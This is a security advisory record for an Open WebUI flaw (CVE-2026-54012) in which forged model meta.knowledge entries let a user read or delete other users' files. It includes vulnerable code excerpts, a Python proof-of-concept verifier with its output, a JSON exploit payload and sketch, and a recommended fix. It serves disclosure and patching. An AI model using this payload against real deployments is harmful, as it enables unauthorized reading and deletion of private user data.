id: PYSEC-2026-2761 published: "2026-07-13T15:46:19.366257Z" modified: "2026-07-13T16:05:15.101893Z" aliases: - CVE-2026-54012 - GHSA-vjqm-6gcc-62cr summary: "Open WebUI: Forged model meta.knowledge allows cross-user file read and deletion" details: "## Summary\n\nOpen WebUI lets a user who can create, update, or import workspace models store arbitrary `meta.knowledge` entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats `meta.knowledge` entries of type `file` as an authorization source in two places: the built-in `view_file` tool reads the file's extracted text, and `has_access_to_file()`'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file.\n\n## Impact\n\nSecurity boundary crossed: file confidentiality and integrity.\n\nAn authenticated attacker needs the `workspace.models` or `workspace.models_import` permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:\n\n- read the file's extracted text (up to `100000` characters per `view_file` call from `file.data.content`),\n- read the file's content via `GET /api/v1/files/{id}/content`, and\n- delete the file via `DELETE /api/v1/files/{id}`.\n\n## Root Cause\n\n`ModelMeta` allows extra metadata fields and `ModelForm` accepts that metadata without a validator for `meta.knowledge` file access:\n\n```python\n# backend/open_webui/models/models.py\nclass ModelForm(BaseModel):\n model_config = ConfigDict(extra='ignore')\n\n id: str\n base_model_id: Optional[str] = None\n name: str\n meta: ModelMeta\n params: ModelParams\n```\n\nModel creation only checks the caller's model-workspace permission and then stores the form data:\n\n```python\n# backend/open_webui/routers/models.py\nif user.role != 'admin' and not await has_permission(\n user.id, 'workspace.models', request.app.state.config.USER_PERMISSIONS, db=db\n):\n raise HTTPException(...)\n\nmodel = await Models.insert_new_model(form_data, user.id, db=db)\n```\n\nThe insert sink persists the supplied `meta`:\n\n```python\n# backend/open_webui/models/models.py\nresult = Model(\n **{\n **form_data.model_dump(exclude={'access_grants'}),\n 'user_id': user_id,\n ...\n }\n)\n```\n\nWhen built-in tools are assembled, `meta.knowledge` is passed through as `__model_knowledge__`, and any `file` entry enables `view_file`:\n\n```python\n# backend/open_webui/utils/tools.py\nmodel_knowledge = model.get('info', {}).get('meta', {}).get('knowledge', [])\n...\nknowledge_types = {item.get('type') for item in model_knowledge}\nif 'file' in knowledge_types or 'collection' in knowledge_types:\n builtin_functions.append(view_file)\n```\n\n`view_file` treats matching `__model_knowledge__` file IDs as authorization, before `has_access_to_file()`:\n\n```python\n# backend/open_webui/tools/builtin.py\nif (\n file.user_id != user_id\n and user_role != 'admin'\n and not any(\n item.get('type') == 'file' and item.get('id') == file_id for item in (__model_knowledge__ or [])\n )\n and not await has_access_to_file(...)\n):\n return json.dumps({'error': 'File not found'})\n```\n\nThe same forged `meta.knowledge` is also trusted outside the tool path. `has_access_to_file()` iterates the caller's accessible models and returns true when a model's `meta.knowledge` contains the requested file ID:\n\n```python\n# backend/open_webui/utils/access_control/files.py\nfor model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db):\n knowledge_items = getattr(model.meta, 'knowledge', None) or []\n for item in knowledge_items:\n if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id:\n return True\n```\n\nThis branch is not restricted to read, so it also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs. The same missing validation applies to the import path (`POST /api/v1/models/import`) and the update path, not only create.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVerifier for forged model meta.knowledge file entries reaching builtin tools.\n\nThe proof executes:\n - the real Models.insert_new_model() sink with a forged meta.knowledge entry\n - the real builtin view_file() authorization branch\n\nFake DB/model adapters are used only to avoid requiring a live Open WebUI\nserver. The security-sensitive code under test is Open WebUI application code.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport ast\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\nREPO = Path(__file__).resolve().parents[1]\nBUILTIN_TOOLS = REPO / \"backend/open_webui/tools/builtin.py\"\n\n\ndef prepare_imports() -> None:\n sys.path.insert(0, str(REPO / \"backend\"))\n os.environ[\"VECTOR_DB\"] = \"none\"\n\n class DummyTyper:\n def command(self, *args, **kwargs):\n return lambda fn: fn\n\n sys.modules.setdefault(\n \"typer\",\n types.SimpleNamespace(\n Typer=lambda *args, **kwargs: DummyTyper(),\n Option=lambda *args, **kwargs: None,\n echo=lambda *args, **kwargs: None,\n Exit=Exception,\n ),\n )\n sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeDb:\n def __init__(self):\n self.added = []\n self.committed = False\n self.refreshed = False\n\n def add(self, row):\n self.added.append(row)\n\n async def commit(self):\n self.committed = True\n\n async def refresh(self, row):\n self.refreshed = True\n\n\nclass FakeDbContext:\n def __init__(self, db):\n self.db = db\n\n async def __aenter__(self):\n return self.db\n\n async def __aexit__(self, exc_type, exc, tb):\n return False\n\n\nasync def verify_model_insert_accepts_victim_file(victim_file_id: str):\n import open_webui.models.models as models_module\n\n fake_db = FakeDb()\n original_context = models_module.get_async_db_context\n original_set_grants = models_module.AccessGrants.set_access_grants\n original_to_model = models_module.Models._to_model_model\n\n async def fake_set_access_grants(*args, **kwargs):\n return True\n\n async def fake_to_model(self, model, access_grants=None, db=None):\n return SimpleNamespace(\n id=model.id,\n user_id=model.user_id,\n base_model_id=model.base_model_id,\n name=model.name,\n params=model.params,\n meta=model.meta,\n access_grants=[],\n is_active=model.is_active,\n created_at=model.created_at,\n updated_at=model.updated_at,\n )\n\n try:\n models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n models_module.AccessGrants.set_access_grants = fake_set_access_grants\n models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models)\n\n inserted = await models_module.Models.insert_new_model(\n models_module.ModelForm(\n id=\"attacker-model\",\n base_model_id=\"gpt-vision-base\",\n name=\"Attacker Model\",\n params={},\n meta={\n \"knowledge\": [\n {\n \"id\": victim_file_id,\n \"type\": \"file\",\n \"name\": \"victim-private.txt\",\n }\n ],\n \"builtinTools\": {\"knowledge\": True},\n },\n ),\n user_id=\"attacker\",\n )\n finally:\n models_module.get_async_db_context = original_context\n models_module.AccessGrants.set_access_grants = original_set_grants\n models_module.Models._to_model_model = original_to_model\n\n stored_meta = [getattr(row, \"meta\", None) for row in fake_db.added]\n stored_knowledge_ids = [\n item.get(\"id\")\n for meta in stored_meta\n for item in ((meta or {}).get(\"knowledge\") or [])\n ]\n\n return {\n \"insert_returned_model\": bool(inserted),\n \"db_commit_called\": fake_db.committed,\n \"stored_user_ids\": [getattr(row, \"user_id\", None) for row in fake_db.added],\n \"stored_model_ids\": [getattr(row, \"id\", None) for row in fake_db.added],\n \"stored_knowledge_file_ids\": stored_knowledge_ids,\n }\n\n\nasync def verify_view_file_trusts_model_knowledge(victim_file_id: str):\n class FakeFiles:\n looked_up_ids = []\n\n async def get_file_by_id(self, file_id, db=None):\n self.looked_up_ids.append(file_id)\n if file_id == victim_file_id:\n return SimpleNamespace(\n id=victim_file_id,\n user_id=\"victim\",\n filename=\"victim-private.txt\",\n data={\"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\"},\n created_at=1,\n updated_at=2,\n )\n return None\n\n async def fake_has_access_to_file(file_id, access_type, user, db=None):\n return False\n\n class FakeUserModel:\n def __init__(self, **kwargs):\n self.__dict__.update(kwargs)\n\n fake_files = FakeFiles()\n fake_files_module = types.SimpleNamespace(Files=fake_files)\n fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file)\n\n original_files_module = sys.modules.get(\"open_webui.models.files\")\n original_acl_module = sys.modules.get(\"open_webui.utils.access_control.files\")\n\n try:\n sys.modules[\"open_webui.models.files\"] = fake_files_module\n sys.modules[\"open_webui.utils.access_control.files\"] = fake_file_acl_module\n\n source = BUILTIN_TOOLS.read_text(encoding=\"utf-8\")\n tree = ast.parse(source, filename=str(BUILTIN_TOOLS))\n selected = [\n node\n for node in tree.body\n if isinstance(node, ast.AsyncFunctionDef) and node.name == \"view_file\"\n ]\n if len(selected) != 1:\n raise RuntimeError(\"could not find view_file\")\n module = ast.Module(body=selected, type_ignores=[])\n ast.fix_missing_locations(module)\n ns = {\n \"json\": json,\n \"Optional\": __import__(\"typing\").Optional,\n \"Request\": object,\n \"UserModel\": FakeUserModel,\n \"log\": SimpleNamespace(exception=lambda *args, **kwargs: None),\n \"MAX_VIEW_FILE_CHARS\": 100_000,\n \"DEFAULT_VIEW_FILE_MAX_CHARS\": 10_000,\n }\n exec(compile(module, str(BUILTIN_TOOLS), \"exec\"), ns)\n view_file = ns[\"view_file\"]\n\n denied_without_model_knowledge = await view_file(\n victim_file_id,\n __request__=SimpleNamespace(),\n __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n __model_knowledge__=[],\n )\n allowed_with_model_knowledge = await view_file(\n victim_file_id,\n __request__=SimpleNamespace(),\n __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n __model_knowledge__=[{\"id\": victim_file_id, \"type\": \"file\"}],\n )\n finally:\n if original_files_module is not None:\n sys.modules[\"open_webui.models.files\"] = original_files_module\n else:\n sys.modules.pop(\"open_webui.models.files\", None)\n if original_acl_module is not None:\n sys.modules[\"open_webui.utils.access_control.files\"] = original_acl_module\n else:\n sys.modules.pop(\"open_webui.utils.access_control.files\", None)\n\n denied = json.loads(denied_without_model_knowledge)\n allowed = json.loads(allowed_with_model_knowledge)\n return {\n \"file_ids_looked_up\": fake_files.looked_up_ids,\n \"without_model_knowledge\": denied,\n \"with_forged_model_knowledge\": allowed,\n \"private_content_disclosed\": allowed.get(\"content\") == \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n }\n\n\nasync def main() -> None:\n prepare_imports()\n victim_file_id = \"victim-private-file\"\n\n insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id)\n tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id)\n\n result = {\n \"confirmed\": (\n insert_sink[\"insert_returned_model\"] is True\n and insert_sink[\"stored_user_ids\"] == [\"attacker\"]\n and insert_sink[\"stored_knowledge_file_ids\"] == [victim_file_id]\n and tool_read[\"without_model_knowledge\"].get(\"error\") == \"File not found\"\n and tool_read[\"private_content_disclosed\"] is True\n ),\n \"attacker_user_id\": \"attacker\",\n \"victim_user_id\": \"victim\",\n \"victim_file_id\": victim_file_id,\n \"attacker_owns_file\": False,\n \"model_insert_sink\": insert_sink,\n \"tool_read\": tool_read,\n \"source\": {\n \"insert_sink\": \"backend/open_webui/models/models.py:Models.insert_new_model\",\n \"tool_injection\": \"backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__\",\n \"read_sink\": \"backend/open_webui/tools/builtin.py:view_file\",\n },\n }\n print(json.dumps(result, indent=2, sort_keys=True))\n if not result[\"confirmed\"]:\n raise SystemExit(1)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\nThe PoC executes the real `Models.insert_new_model()` sink and the real `view_file()` authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in `meta.knowledge`, then confirms `view_file()` denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.\n\nResult:\n\n```json\n{\n \"attacker_owns_file\": false,\n \"attacker_user_id\": \"attacker\",\n \"confirmed\": true,\n \"model_insert_sink\": {\n \"db_commit_called\": true,\n \"insert_returned_model\": true,\n \"stored_knowledge_file_ids\": [\n \"victim-private-file\"\n ],\n \"stored_model_ids\": [\n \"attacker-model\"\n ],\n \"stored_user_ids\": [\n \"attacker\"\n ]\n },\n \"tool_read\": {\n \"private_content_disclosed\": true,\n \"with_forged_model_knowledge\": {\n \"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n \"filename\": \"victim-private.txt\",\n \"id\": \"victim-private-file\"\n },\n \"without_model_knowledge\": {\n \"error\": \"File not found\"\n }\n },\n \"victim_file_id\": \"victim-private-file\",\n \"victim_user_id\": \"victim\"\n}\n```\n\n## Exploit Sketch\n\n1. Attacker has permission to create or update workspace models.\n2. Attacker creates a model with:\n\n```json\n{\n \"meta\": {\n \"knowledge\": [\n {\n \"id\": \"VICTIM_FILE_ID\",\n \"type\": \"file\",\n \"name\": \"victim-private.txt\"\n }\n ],\n \"builtinTools\": {\n \"knowledge\": true\n }\n }\n}\n```\n\n3. Attacker chats with that model using native/built-in tools and invokes `view_file` for `VICTIM_FILE_ID`.\n4. The tool returns the victim file's extracted text content despite the attacker not owning or otherwise having access to the file.\n\n## Recommended Fix\n\nValidate `meta.knowledge` on every model write path: create, update, and import. For entries with `type == \"file\"`, require direct ownership, admin role, or `has_access_to_file(file_id, 'read', user, db=db)` before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as `403`, not `500`.\n\nDo not let `view_file()` treat `__model_knowledge__` as an authorization bypass; it should still enforce ownership/admin/`has_access_to_file()` per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.\n\n## Consolidation\n\nPer our Report Handling policy this consolidates independent reports of the same model `meta.knowledge` file-ID laundering flaw:\n\n- Read via forged `meta.knowledge` on model create, through the built-in `view_file` tool: @0xEr3n (earliest filing).\n- Distinct paths demonstrated by @5yu4n: the import endpoint (`POST /api/v1/models/import`), and cross-user read and deletion through the file API (`GET` / `DELETE /api/v1/files/{id}`) via `has_access_to_file()`'s model branch.\n\nFix validates `meta.knowledge` ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory." affected: - package: name: open-webui ecosystem: PyPI purl: pkg:pypi/open-webui ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 0.9.6 versions: - 0.1.124 - 0.1.125 - 0.2.0 - 0.2.1 - 0.2.2 - 0.2.3 - 0.2.4 - 0.2.5 - 0.3.0 - 0.3.1 - 0.3.10 - 0.3.12 - 0.3.13 - 0.3.14 - 0.3.15 - 0.3.16 - 0.3.17 - 0.3.17.dev2 - 0.3.17.dev3 - 0.3.17.dev4 - 0.3.17.dev5 - 0.3.18 - 0.3.19 - 0.3.2 - 0.3.20 - 0.3.21 - 0.3.22 - 0.3.23 - 0.3.24 - 0.3.25 - 0.3.26 - 0.3.27 - 0.3.27.dev1 - 0.3.27.dev2 - 0.3.27.dev3 - 0.3.28 - 0.3.29 - 0.3.3 - 0.3.30 - 0.3.30.dev1 - 0.3.30.dev2 - 0.3.31 - 0.3.31.dev1 - 0.3.32 - 0.3.33 - 0.3.33.dev1 - 0.3.34 - 0.3.35 - 0.3.4 - 0.3.5 - 0.3.6 - 0.3.7 - 0.3.8 - 0.3.9 - 0.4.0 - 0.4.0.dev1 - 0.4.0.dev2 - 0.4.1 - 0.4.2 - 0.4.3 - 0.4.4 - 0.4.5 - 0.4.6 - 0.4.6.dev1 - 0.4.7 - 0.4.8 - 0.5.0 - 0.5.0.dev1 - 0.5.0.dev2 - 0.5.1 - 0.5.10 - 0.5.11 - 0.5.12 - 0.5.13 - 0.5.14 - 0.5.15 - 0.5.16 - 0.5.17 - 0.5.18 - 0.5.19 - 0.5.2 - 0.5.20 - 0.5.3 - 0.5.3.dev1 - 0.5.4 - 0.5.5 - 0.5.6 - 0.5.7 - 0.5.8 - 0.5.9 - 0.6.0 - 0.6.1 - 0.6.10 - 0.6.11 - 0.6.12 - 0.6.13 - 0.6.14 - 0.6.15 - 0.6.16 - 0.6.18 - 0.6.19 - 0.6.2 - 0.6.20 - 0.6.21 - 0.6.22 - 0.6.23 - 0.6.24 - 0.6.25 - 0.6.26 - 0.6.26.dev1 - 0.6.27 - 0.6.28 - 0.6.29 - 0.6.3 - 0.6.30 - 0.6.31 - 0.6.32 - 0.6.33 - 0.6.34 - 0.6.35 - 0.6.36 - 0.6.37 - 0.6.38 - 0.6.39 - 0.6.4 - 0.6.40 - 0.6.41 - 0.6.42 - 0.6.43 - 0.6.5 - 0.6.6 - 0.6.6.dev1 - 0.6.7 - 0.6.8 - 0.6.9 - 0.7.0 - 0.7.1 - 0.7.2 - 0.8.0 - 0.8.1 - 0.8.10 - 0.8.11 - 0.8.12 - 0.8.2 - 0.8.3 - 0.8.4 - 0.8.5 - 0.8.6 - 0.8.7 - 0.8.8 - 0.8.9 - 0.9.0 - 0.9.1 - 0.9.2 - 0.9.3 - 0.9.4 - 0.9.5 references: - type: WEB url: https://github.com/open-webui/open-webui/security/advisories/GHSA-vjqm-6gcc-62cr - type: PACKAGE url: https://github.com/open-webui/open-webui - type: PACKAGE url: https://pypi.org/project/open-webui - type: ADVISORY url: https://github.com/advisories/GHSA-vjqm-6gcc-62cr - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-54012 severity: - type: CVSS_V3 score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L